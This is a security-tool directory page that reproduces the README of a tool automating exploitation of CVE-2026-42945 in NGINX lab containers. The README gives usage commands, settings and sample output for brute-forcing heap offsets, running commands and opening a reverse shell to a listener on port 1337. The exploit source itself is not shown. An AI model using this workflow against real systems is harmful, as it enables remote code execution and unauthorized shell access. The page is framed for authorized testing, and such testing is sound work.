Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-42945_NginxRift β€” Automates CVE-2026-42945 exploitation in NGINX containers: verifies vulnerable targets, brute-forces heap offsets, executes commands, and opens an interactive reverse shell. | Kitploit
Tools/GitHubGitHub/kentox493/cve-2026-42945_nginxrift
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingRed TeamingBinary Exploitation
Share
GitHub
kentox493/cve-2026-42945_nginxrift

CVE-2026-42945_NginxRift

Automates CVE-2026-42945 exploitation in NGINX containers: verifies vulnerable targets, brute-forces heap offsets, executes commands, and opens an interactive reverse shell.

View Repository
1583 months agoNot yet reviewed

πŸš€ NGINX Rift PoC Automation β€” CVE-2026-42945

PoC Automation Driver for RCE exploitation of the nginx-rift container Β· Target verification β†’ Single-command exploit β†’ Interactive reverse shell

Shell Python Platform License

One command orchestrates the entire exploit flow β€” from container check to getting a shell.


⚠️ Ethical & Legal Warning This tool is only for authorized and legitimate security testing β€” contracted pentests, lab/CTF, or your own assets. Using it without the system owner's permission is a criminal offense (ITE Law, Computer Fraud and Abuse Act, etc.). Users bear full responsibility for its use.


πŸ“– Vulnerability Summary

CVE-2026-42945 is a Remote Code Execution (RCE) vulnerability in the NGINX "Rift" configuration β€” a heap-based buffer overflow bug in the ngx_http_rewrite_module triggered via a specific location block (/api/users/...). The impact is that an attacker can execute commands through the system() handler inside the container.

ItemDetail
CVECVE-2026-42945
TypeRemote Code Execution (RCE)
ComponentNGINX (ngx_http_rewrite_module) β€” "Rift" configuration
TriggerRequest to the vulnerable location block (/api/users/{id})
ImpactArbitrary command execution as the NGINX worker user inside the container
Lab SetupContainer nginx-rift-nginx-1 β€” host port 19321

This repository contains 2 components:

FileFunction
poc.pyExploit driver β€” heap offset brute-force, two modes: --cmd (single command) & --shell (reverse shell)
scan.shAutomation orchestrator β€” target verification, run PoC, verify results, & interactive shell session

πŸ— Workflow

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚         scan.sh             β”‚
β”‚  Mode: auto / cmd / shell   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
              β–Ό
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              β–Ό
      [1] Verifikasi Target
      docker ps (label compose)
      β†’ curl /api/users/42 (HTTP 200)
              β–Ό
      [2] PoC --cmd (max 3Γ— retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              β”‚
              β–Ό (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              β–Ό
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      β†’ prompt /bin/sh interaktif

βš™οΈ System Requirements

Operator (host where the script is run):

  • Linux (bash) β€” tested on Kali / Ubuntu / Debian
  • docker (with sudo or a user in the docker group)
  • python3 + poc.py (in the same directory as scan.sh)
  • curl, nc (netcat), timeout (coreutils)

Target (lab):

  • The nginx-rift container is up (provisioned via docker compose)
  • Host port 19321 is open on 127.0.0.1
  • Container is connected to the Docker bridge (default 172.17.0.1 for the host listener)

πŸ“₯ Installation

# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh and poc.py must be in the same directory.


πŸš€ Usage

./scan.sh          # alur lengkap (default: auto)
./scan.sh cmd      # hanya PoC single-command + verifikasi marker
./scan.sh shell    # langsung reverse-shell interaktif
./scan.sh help     # tampilkan bantuan

Mode auto (default)

  1. Preflight β€” check all dependencies.
  2. Target verification β€” container up? HTTP 200?
  3. PoC --cmd β€” write the hello from depthfirst marker to /tmp/pwned inside the container (automatic retry max 3Γ—, 300s timeout per attempt).
  4. Result verification β€” docker exec cat /tmp/pwned must contain the marker (ground truth, not just reading output).
  5. Prompt continue to reverse shell? β†’ y for an interactive session.

Mode shell

./scan.sh shell

Runs poc.py --shell with listener 172.17.0.1:1337. After a successful brute-force, you get an interactive /bin/sh prompt as the NGINX worker user inside the container.

Note: The IP 172.17.0.1 is the host address on the default Docker bridge. If your bridge is different (docker network inspect bridge), change the LISTEN_IP variable at the top of scan.sh.


πŸ”§ Configurable Settings

All parameters are gathered in the configuration block at the top of scan.sh:

VariableDefaultFunction
DOCKERsudo dockerReplace with docker if the user is already in the docker group
PROJECT_LABELcom.docker.compose.project=nginx-riftContainer identification filter
CONTAINERnginx-rift-nginx-1Target container name
TARGET_HOST / TARGET_PORT127.0.0.1 / 19321Target address
LISTEN_IP / LISTEN_PORT172.17.0.1 / 1337Reverse shell listener
MARKER_FILE / MARKER_EXPECT/tmp/pwned / hello from depthfirstExecution verification
CMD_TIMEOUT300Timeout per attempt (seconds)
MAX_ATTEMPTS3Number of retries for PoC --cmd

πŸ“Έ Example Output

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  NGINX RIFT Β· CVE-2026-42945 Β· PoC Automation Driver  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 β€” brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL β€” marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

πŸ›  Troubleshooting

ProblemSolution
Container ... tidak berjalancd <project-dir> && sudo docker compose up -d, then retry
HTTP 000 / connection refusedPort 19321 not ready yet β€” wait a few seconds, check docker ps
File 'poc.py' tidak ditemukanRun scan.sh from the repo directory (poc.py must be in the same directory)
PoC --cmd keeps failing (3Γ—)Increase MAX_ATTEMPTS / CMD_TIMEOUT; make sure the kernel & NGINX version match the lab
Reverse shell won't connectCheck that LISTEN_IP matches the bridge (docker network inspect bridge); make sure port 1337 is not in use
Error unrecognized argumentsMake sure your poc.py version supports the --listen-ip/--listen-port flags (see python3 poc.py -h)

πŸ›‘ Remediation (for Blue Team)

Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    256

Explore all tools

Browse our collection of tools

View all tools β†’